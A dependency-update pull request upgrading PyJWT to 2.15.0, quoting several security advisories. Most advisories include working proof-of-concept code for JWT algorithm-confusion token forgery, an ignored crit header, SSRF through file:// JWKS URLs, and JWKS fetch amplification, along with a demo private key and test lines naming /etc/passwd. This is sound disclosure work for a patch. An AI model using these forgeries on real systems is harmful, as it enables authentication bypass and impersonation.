Skip to content

⬆️ Updates PyJWT to v2.15.0 [SECURITY] - #3548

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-pyjwt-vulnerability
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-pyjwt-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Mar 30, 2026 •

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
PyJWT ==2.3.0 → ==2.15.0 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.


Key confusion through non-blocklisted public key formats

CVE-2022-29217 / GHSA-ffqj-6fqr-9h24

More information

Details

Impact

What kind of vulnerability is it? Who is impacted?

Disclosed by Aapo Oksman (Senior Security Specialist, Nixu Corporation).

PyJWT supports multiple different JWT signing algorithms. With JWT, an
attacker submitting the JWT token can choose the used signing algorithm.

The PyJWT library requires that the application chooses what algorithms
are supported. The application can specify
"jwt.algorithms.get_default_algorithms()" to get support for all
algorithms. They can also specify a single one of them (which is the
usual use case if calling jwt.decode directly. However, if calling
jwt.decode in a helper function, all algorithms might be enabled.)

For example, if the user chooses "none" algorithm and the JWT checker
supports that, there will be no signature checking. This is a common
security issue with some JWT implementations.

PyJWT combats this by requiring that the if the "none" algorithm is
used, the key has to be empty. As the key is given by the application
running the checker, attacker cannot force "none" cipher to be used.

Similarly with HMAC (symmetric) algorithm, PyJWT checks that the key is
not a public key meant for asymmetric algorithm i.e. HMAC cannot be used
if the key begins with "ssh-rsa". If HMAC is used with a public key, the
attacker can just use the publicly known public key to sign the token
and the checker would use the same key to verify.

From PyJWT 2.0.0 onwards, PyJWT supports ed25519 asymmetric algorithm.
With ed25519, PyJWT supports public keys that start with "ssh-", for
example "ssh-ed25519".

import jwt
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ed25519

##### Generate ed25519 private key
private_key = ed25519.Ed25519PrivateKey.generate()

##### Get private key bytes as they would be stored in a file
priv_key_bytes = 
private_key.private_bytes(encoding=serialization.Encoding.PEM,format=serialization.PrivateFormat.PKCS8, 
encryption_algorithm=serialization.NoEncryption())

##### Get public key bytes as they would be stored in a file
pub_key_bytes = 
private_key.public_key().public_bytes(encoding=serialization.Encoding.OpenSSH,format=serialization.PublicFormat.OpenSSH)

##### Making a good jwt token that should work by signing it with the 
private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="EdDSA")

##### Using HMAC with the public key to trick the receiver to think that the 
public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, pub_key_bytes, algorithm="HS256")

##### Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, pub_key_bytes, 
algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
     print("POC Successfull")

##### Of course the receiver should specify ed25519 algorithm to be used if 
they specify ed25519 public key. However, if other algorithms are used, 
the POC does not work

##### HMAC specifies illegal strings for the HMAC secret in jwt/algorithms.py
#

#        invalid_strings = [
#            b"-----BEGIN PUBLIC KEY-----",

#            b"-----BEGIN CERTIFICATE-----",
#            b"-----BEGIN RSA PUBLIC KEY-----",

#            b"ssh-rsa",
#        ]

#
##### However, OKPAlgorithm (ed25519) accepts the following in 
jwt/algorithms.py:

#
#                if "-----BEGIN PUBLIC" in str_key:

#                    return load_pem_public_key(key)
#                if "-----BEGIN PRIVATE" in str_key:

#                    return load_pem_private_key(key, password=None)
#                if str_key[0:4] == "ssh-":

#                    return load_ssh_public_key(key)
#

##### These should most likely made to match each other to prevent this behavior
import jwt

#openssl ecparam -genkey -name prime256v1 -noout -out ec256-key-priv.pem

#openssl ec -in ec256-key-priv.pem -pubout > ec256-key-pub.pem
#ssh-keygen -y -f ec256-key-priv.pem > ec256-key-ssh.pub

priv_key_bytes = b"""-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIOWc7RbaNswMtNtc+n6WZDlUblMr2FBPo79fcGXsJlGQoAoGCCqGSM49
AwEHoUQDQgAElcy2RSSSgn2RA/xCGko79N+7FwoLZr3Z0ij/ENjow2XpUDwwKEKk
Ak3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END EC PRIVATE KEY-----"""

pub_key_bytes = b"""-----BEGIN PUBLIC KEY-----
MFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAElcy2RSSSgn2RA/xCGko79N+7FwoL
Zr3Z0ij/ENjow2XpUDwwKEKkAk3TDXC9U8nipMlGcY7sDpXp2XyhHEM+Rw==
-----END PUBLIC KEY-----"""

ssh_key_bytes = b"""ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXMtkUkkoJ9kQP8QhpKO/TfuxcKC2a92dIo/xDY6MNl6VA8MChCpAJN0w1wvVPJ4qTJRnGO7A6V6dl8oRxDPkc="""

##### Making a good jwt token that should work by signing it with the private key
encoded_good = jwt.encode({"test": 1234}, priv_key_bytes, algorithm="ES256")

##### Using HMAC with the ssh public key to trick the receiver to think that the public key is a HMAC secret
encoded_bad = jwt.encode({"test": 1234}, ssh_key_bytes, algorithm="HS256")

##### Both of the jwt tokens are validated as valid
decoded_good = jwt.decode(encoded_good, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())
decoded_bad = jwt.decode(encoded_bad, ssh_key_bytes, algorithms=jwt.algorithms.get_default_algorithms())

if decoded_good == decoded_bad:
    print("POC Successfull")
else:
    print("POC Failed")

The issue is not that big as
algorithms=jwt.algorithms.get_default_algorithms() has to be used.
However, with quick googling, this seems to be used in some cases at
least in some minor projects.

Patches

Users should upgrade to v2.4.0.

Workarounds

Always be explicit with the algorithms that are accepted and expected when decoding.

References

Are there any links users can visit to find out more?

For more information

If you have any questions or comments about this advisory:

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT accepts unknown crit header extensions

CVE-2026-32597 / GHSA-752w-5fwx-jx9f

More information

Details

Summary

PyJWT does not validate the crit (Critical) Header Parameter defined in
RFC 7515 §4.1.11. When a JWS token contains a crit array listing
extensions that PyJWT does not understand, the library accepts the token
instead of rejecting it. This violates the MUST requirement in the RFC.

This is the same class of vulnerability as CVE-2025-59420 (Authlib),
which received CVSS 7.5 (HIGH).


RFC Requirement

RFC 7515 §4.1.11:

The "crit" (Critical) Header Parameter indicates that extensions to this
specification and/or [JWA] are being used that MUST be understood and
processed. [...] If any of the listed extension Header Parameters are
not understood and supported by the recipient, then the JWS is invalid.


Proof of Concept
import jwt  # PyJWT 2.8.0
import hmac, hashlib, base64, json

##### Construct token with unknown critical extension
header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"}
payload = {"sub": "attacker", "role": "admin"}

def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()

h = b64url(json.dumps(header, separators=(",", ":")).encode())
p = b64url(json.dumps(payload, separators=(",", ":")).encode())
sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest())
token = f"{h}.{p}.{sig}"

##### Should REJECT — x-custom-policy is not understood by PyJWT
try:
    result = jwt.decode(token, "secret", algorithms=["HS256"])
    print(f"ACCEPTED: {result}")
    # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'}
except Exception as e:
    print(f"REJECTED: {e}")

Expected: jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy
Actual: Token accepted, payload returned.

Comparison with RFC-compliant library
##### jwcrypto — correctly rejects
from jwcrypto import jwt as jw_jwt, jwk
key = jwk.JWK(kty="oct", k=b64url(b"secret"))
jw_jwt.JWT(jwt=token, key=key, algs=["HS256"])

##### raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"')

Impact
  • Split-brain verification in mixed-library deployments (e.g., API
    gateway using jwcrypto rejects, backend using PyJWT accepts)
  • Security policy bypass when crit carries enforcement semantics
    (MFA, token binding, scope restrictions)
  • Token binding bypass — RFC 7800 cnf (Proof-of-Possession) can be
    silently ignored
  • See CVE-2025-59420 for full impact analysis

Suggested Fix

In jwt/api_jwt.py, add validation in _validate_headers() or
decode():

_SUPPORTED_CRIT = {"b64"}  # Add extensions PyJWT actually supports

def _validate_crit(self, headers: dict) -> None:
    crit = headers.get("crit")
    if crit is None:
        return
    if not isinstance(crit, list) or len(crit) == 0:
        raise InvalidTokenError("crit must be a non-empty array")
    for ext in crit:
        if ext not in self._SUPPORTED_CRIT:
            raise InvalidTokenError(f"Unsupported critical extension: {ext}")
        if ext not in headers:
            raise InvalidTokenError(f"Critical extension {ext} not in header")

CWE
  • CWE-345: Insufficient Verification of Data Authenticity
  • CWE-863: Incorrect Authorization
References

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed

CVE-2026-48526 / GHSA-xgmm-8j9v-c9wx

More information

Details

[!NOTE]
Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in algorithms=[…] and a raw-JSON JWK as the key= argument, both contrary to documented usage, hence the High attack-complexity rating.

Summary

When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.

Details

In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms.
In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example:

jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))

An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm.
The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.

If we look on current protections implemented in the library, at class HMACAlgorithm:

  def prepare_key(self, key: str | bytes) -> bytes:
        key_bytes = force_bytes(key)

        if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
            raise InvalidKeyError(
                "The specified key is an asymmetric key or x509 certificate and"
                " should not be used as an HMAC secret."
            )

        return key_bytes

We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.

In The following example:
jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))
There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.

The bypass happens only if the verifier:
(a) allows HS* and an asymmetric algorithm in the same call and (b) passes a public-key value as key.

PoC

Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')

from jwt.api_jws import PyJWS
import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=")

##### Public RSA JWK (public by design)
rsa_jwk_json = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

##### Attacker-crafted token: flip to HS256 and choose claims
header  = b64u(b'{"alg":"HS256","typ":"JWT"}')
payload = b64u(b'{"sub":"alice","admin":true}')
signing = header + b"." + payload

##### Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret”
sig   = hmac.new(rsa_jwk_json.encode(), signing, hashlib.sha256).digest()
token = (signing + b"." + b64u(sig)).decode()

##### Vulnerable verifier: mixed families + JWK JSON string as key
jws = PyJWS()
print(jws.decode(token, key=rsa_jwk_json, algorithms=["HS256","RS256"]))

##### -> b'{"sub":"alice","admin":true}'
Impact

Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWKClient: missing scheme allowlist enables CVE-2024-21643-class SSRF + token forgery via file://, ftp://, data: schemes

CVE-2026-48522 / GHSA-993g-76c3-p5m4

More information

Details

[!NOTE]
The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

  1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load.
  2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface).
  3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.
Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)
import jwt as pyjwt
from jwt import PyJWKClient
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import json, base64, time

##### Attacker generates keypair (no relation to real IdP)
key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_n = key.public_key().public_numbers().n

def b64u(n):
    bl = (n.bit_length() + 7) // 8
    return base64.urlsafe_b64encode(n.to_bytes(bl, 'big')).rstrip(b'=').decode()

##### Attacker writes JWK Set containing their public key to /tmp
jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256",
                  "n":b64u(pub_n),"e":"AQAB"}]}
with open("/tmp/attacker.json","w") as f:
    json.dump(jwks, f)

##### Attacker mints token signed with their private key, jku=file://
priv_pem = key.private_bytes(serialization.Encoding.PEM,
    serialization.PrivateFormat.PKCS8, serialization.NoEncryption())
now = int(time.time())
token = pyjwt.encode(
    {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600},
    priv_pem, algorithm="RS256",
    headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

##### Vulnerable application pattern: caller derives jku from token header

##### and passes to PyJWKClient without scheme validation
header = pyjwt.get_unverified_header(token)
client = PyJWKClient(header["jku"])      # <-- accepts file:// silently
key_obj = client.get_signing_key_from_jwt(token)
decoded = pyjwt.decode(token, key_obj.key, algorithms=["RS256"],
                       audience="target-app")
print("Token verified:", decoded)

##### Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}
Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

Library Behavior on jku=file://... Mechanism
PyJWT 2.12.1 (Python) Reads file from disk, parses, uses for signature verification urllib default OpenerDirector includes FileHandler
panva/jose 6.2.3 (Node.js) Refuses pre-fetch WHATWG fetch() rejects non-http(s) at fetch-spec layer
golang-jwt + MicahParks/keyfunc v3.4.0 (Go) Refuses pre-fetch http.DefaultTransport only registers http/https
Microsoft.IdentityModel.Tokens 8.18.0 (.NET) Refuses pre-fetch HttpDocumentRetriever defaults RequireHttps=true
Spring Security NimbusJwtDecoder 6.3.4 (Java) Refuses pre-fetch URI parser delegation refuses non-http(s) at request build

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowed_schemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.__init__. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwks_client.py
def __init__(
    self, uri: str,
    cache_keys: bool = False, max_cached_keys: int = 16,
    cache_jwk_set: bool = True, lifespan: float = 300,
    headers: dict[str, Any] | None = None, timeout: float = 30,
    ssl_context: SSLContext | None = None,
    allowed_schemes: tuple[str, ...] = ("https", "http"),  # NEW
):
    """...
    :param allowed_schemes: URL schemes the JWKS endpoint is permitted
        to use. Default ``("https", "http")``. Pass ``("https",)`` for
        HTTPS-only operation. URLs with disallowed schemes raise
        ``PyJWKClientError`` before any fetch is attempted.
    """
    # ... existing init code ...
    self.allowed_schemes = allowed_schemes
    self._validate_uri_scheme()

def _validate_uri_scheme(self) -> None:
    """Reject the configured URI early if its scheme isn't allowed."""
    from urllib.parse import urlparse
    parsed = urlparse(self.uri)
    scheme = parsed.scheme.lower()
    if not scheme:
        raise PyJWKClientError(
            f"PyJWKClient URI '{self.uri}' has no scheme; expected one of "
            f"{self.allowed_schemes!r}")
    if scheme not in self.allowed_schemes:
        raise PyJWKClientError(
            f"PyJWKClient URI scheme '{scheme}' is not in allowed_schemes "
            f"{self.allowed_schemes!r}; refusing to fetch from this URL")
Tests to add
def test_pyjwkclient_rejects_file_scheme():
    with pytest.raises(PyJWKClientError, match="not in allowed_schemes"):
        PyJWKClient("file:///etc/passwd")

def test_pyjwkclient_rejects_ftp_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("ftp://example.org/keys.json")

def test_pyjwkclient_rejects_data_scheme():
    with pytest.raises(PyJWKClientError):
        PyJWKClient('data:application/json,{"keys":[]}')

def test_pyjwkclient_caller_can_lock_to_https_only():
    with pytest.raises(PyJWKClientError):
        PyJWKClient("http://internal.test/jwks.json", allowed_schemes=("https",))
Compatibility
  • Default allowed_schemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints
  • Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare)
  • No changes to urllib fetch logic itself — the fix is a pre-validation gate
Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

Severity

  • CVSS Score: 4.2 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)

CVE-2026-48524 / GHSA-fhv5-28vv-h8m8

More information

Details

[!NOTE]
The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. Impact is reduced auth availability until the next successful fetch, not complete denial of service.

Summary

PyJWKClient.get_signing_key() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests.

Additionally, fetch_data() finally block clears the JWKS cache on network error.

Root Cause

jwt/jwks_client.py:172-198 - get_signing_key(kid) calls get_signing_keys(refresh=True) for unknown kids, bypassing TTL cache with no cooldown.
jwt/jwks_client.py:120-122 - finally block writes None to cache on error, clearing valid data.

Impact
  • DoS against JWKS endpoint (unlimited requests per invalid token)
  • DoS against application (network I/O latency)
  • Cascading failure (rate limiting clears cache, breaking legitimate auth)
Suggested Fix
  1. Add refresh cooldown (refuse refresh more than once per TTL period)
  2. Move cache write from finally to else block
Affected Versions

All versions with PyJWKClient (2.4.0 through 2.12.1)

Severity

  • CVSS Score: 3.7 / 10 (Low)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)

CVE-2026-101917 / GHSA-2gx3-rcp4-g85q

More information

Details

Summary
CVE-2026-48524 (GHSA-fhv5-28vv-h8m8, "PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.

At HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.

Affected
pyjwt <= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.

Proof of concept (verified on 2.13.0, cache enabled = realistic prod config)
import threading, http.server, socketserver, json
from jwt import PyJWKClient
hits = {'n': 0}
JWKS = json.dumps({"keys":[{"kty":"oct","kid":"real","k":"AAAA"}]}).encode()
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
hits['n'] += 1
self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers()
self.wfile.write(JWKS)
def log_message(self,*a): pass
srv = socketserver.TCPServer(('127.0.0.1',0), H); port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()
c = PyJWKClient(f'http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json', cache_keys=True, lifespan=3600)
for i in range(8):
try: c.get_signing_key(f'attacker-unknown-kid-{i}')
except Exception: pass
before = hits['n']
for _ in range(5):
try: c.get_signing_key('same-unknown')
except Exception: pass
print('distinct unknown kids: 8 -> fetches:', hits['n'])
print('same unknown kid x5 -> extra fetches:', hits['n'] - before)

Output:
distinct unknown kids: 8 -> fetches: 9
same unknown kid x5 -> extra fetches: 5
Each unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.

Impact
One unauthenticated request -> one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -> victim -> IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.

Suggested fix
Guard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.

Note: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.

Reported by Babakizo (Securva).

Maintainer update — 2026-09-10

The maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching
enabled, an unknown kid previously forced an unconditional JWKS refresh,
including when the same unknown value was repeated while the cached key set was
still valid. This allowed unauthenticated token headers to cause unnecessary
outbound JWKS requests and repeated parsing work.

The fix is now on master in commit ba4853a. PyJWKClient now applies a
30-second cooldown after successful JWKS fetches before permitting another
unknown-kid refresh, serializes concurrent refresh decisions per client, and
allows callers to configure or disable the cooldown. Cache-disabled behavior
and immediate retry after failed fetches remain unchanged.

Regression tests cover repeated unknown kids, cooldown expiry, concurrent
misses, cache-disabled operation, and invalid cooldown values. The available
full tox matrix, Ruff, and mypy checks pass. The fix will be included in the
next released 2.x version.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


PyJWT: Asymmetric-PEM detection bypass: whitespace/line-ending-mutated public keys skip the HS/asymmetric confusion guard

CVE-2026-102268 / GHSA-ffc3-869f-jxw9

More information

Details

Prerequisites (both conditions must hold; both are deployment properties, not attacker-controlled at request time):

  • The jwt.decode allow-list mixes an HMAC algorithm with an asymmetric one, e.g. algorithms=["ES256", "HS256"] (the RFC 8725 footgun the guard exists to backstop).
  • The verification key is passed as raw PEM text/bytes on the non-PyJWK path, in a byte-form that cryptography's loader accepts but PyJWT's is_pem_format regex does not recognize (marker-adjacent whitespace/indentation, CR-only line terminators, or the PEM folded to a single line). Such forms arise naturally from an indented YAML/JSON block, a single-line environment variable or JSON string, or a CR/LF round-trip through config tooling.

The attacker additionally needs the public verification key, which is public by definition, and cryptography must be installed.

The fix for CVE-2022-29217 rejects an asymmetric key handed to an HMAC algorithm, but only when is_pem_format() recognizes the key as PEM. That recognizer accepts strictly fewer byte-forms than the loader that later parses the key, so a PEM the guard misses still loads as a valid public key and is then used as an HMAC secret. This is an incomplete-guard bypass of the CVE-2022-29217 family.

Summary

A PEM public key with marker-adjacent whitespace, CR-only line terminators, or folded to a single line makes PyJWT's is_pem_format() return False while cryptography.load_pem_public_key() accepts the identical bytes. The asymmetric-key rejection in HMACAlgorithm.prepare_key is skipped, the public key becomes the HMAC secret, and an attacker who knows the public key mints a valid HS256 token — universal forgery — whenever the verify allow-list mixes an HMAC and an asymmetric algorithm.

Details

At jwt/algorithms.py:331-335, HMACAlgorithm.prepare_key contains the sole family-mismatch guard:

if is_pem_format(key_bytes) or is_ssh_key(key_bytes):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

If neither predicate fires, :357 returns key_bytes unchanged — the PEM text is used directly as the HMAC secret.

is_pem_format (jwt/utils.py:116-127) is bool(_PEM_RE.search(key)), where _PEM_RE requires ----[- ]BEGIN (...)[- ]----\r?\n, then .+?\r?\n, then the END marker. The LF in each \r?\n is mandatory, the markers are anchored directly after a newline, and only [- ] is tolerated adjacent to them — not arbitrary whitespace. So a key with a tab/space before the END marker, with bare \r terminators, or folded onto one line is not recognized as PEM. cryptography's load_pem_public_key is tolerant of exactly these forms and still returns the key.

Reach: jwt/api_jws.py:386 performs the allow-list check (passes when HS256 is in the list) and takes the non-PyJWK branch to alg_obj.prepare_key(key) at :407. The mismatch guard above is the only thing standing between a mixed allow-list and using the public key as an HMAC secret.

PoC

Vulnerable path: jwt/algorithms.py:331 (guard gated on is_pem_format) -> is_pem_format returns False for a loader-accepted PEM -> jwt/algorithms.py:357 returns the public-key bytes as the HMAC secret -> HS256 verification succeeds.

Reproduced on PyJWT 2.13.0 (commit 7144e453) with cryptography 49.0.0, using only the public API. For each of an EC (ES256) and an RSA-2048 (RS256) key: start from the correct public-key PEM, apply a mutation, confirm is_pem_format now returns False while cryptography still loads the bytes, then verify a token signed alg=HS256 with the public-key text as the HMAC secret, under algorithms=["ES256","HS256"] (resp. ["RS256","HS256"]).

Observed output:

pyjwt 2.13.0
  ec  canonical (control)                is_pem_format=True  crypto_loads=True  forgery=BLOCKED:InvalidKeyError
  ec  marker-adjacent (tab before END)   is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  ec  CR-only terminators                is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  ec  folded single-line                 is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  rsa canonical (control)                is_pem_format=True  crypto_loads=True  forgery=BLOCKED:InvalidKeyError
  rsa marker-adjacent (tab before END)   is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  rsa CR-only terminators                is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  rsa folded single-line                 is_pem_format=False crypto_loads=True  forgery=FORGED(superadmin)
  [control B] single-alg [ES256] allow-list vs forged HS256: REJECTED:InvalidAlgorithmError
RESULT: ALL-INVARIANTS-HOLD

Each mutated form on both key types forged a token accepted as superadmin. Controls: the unmodified PEM is correctly rejected with InvalidKeyError (the guard works and the mutation is load-bearing); a single-algorithm allow-list ["ES256"] rejects the forged HS256 token with InvalidAlgorithmError (the mixed allow-list is a necessary precondition).

Steps to reproduce:

  1. Generate an EC P-256 (or RSA-2048) keypair; serialize the public key to PEM.
  2. Mutate the PEM into a loader-accepted, regex-missed form — e.g. insert a tab before -----END, convert terminators to bare \r, or join all lines into one.
  3. Confirm jwt.utils.is_pem_format(mutated) is False and cryptography.hazmat.primitives.serialization.load_pem_public_key(mutated) succeeds.
  4. jwt.encode({"sub":"superadmin"}, mutated, algorithm="HS256"), then jwt.decode(token, mutated, algorithms=["ES256","HS256"]) — verification succeeds.
Impact

Cryptographic signature-verification bypass (CWE-347): algorithm confusion re-enabled by an incomplete asymmetric-key guard. An attacker who knows only the public verification key forges arbitrary-claim tokens that verify as authentic, subject to the two deployment preconditions above. The PyJWK verification path binds a single algorithm and is unaffected; enforce_minimum_key_length (off by default) does not block a 2048-bit/P-256 PEM. Impact when the preconditions hold is critical (universal forgery); the compound precondition is realistic but was not observed in a specific real-world deployment, so this is rated Critical, with the deployment precondition captured in CVSS.

Maintainer update — 2026-09-10

We reproduced the reported asymmetric-key guard bypass on PyJWT 2.13.0: PEM public keys with loader-accepted formatting mutations were missed by is_pem_format, then accepted as HMAC secrets when a verification call mixed symmetric and asymmetric algorithms. Canonical PEM controls remained blocked, and a single-algorithm allow-list rejected the forged HS256 token.

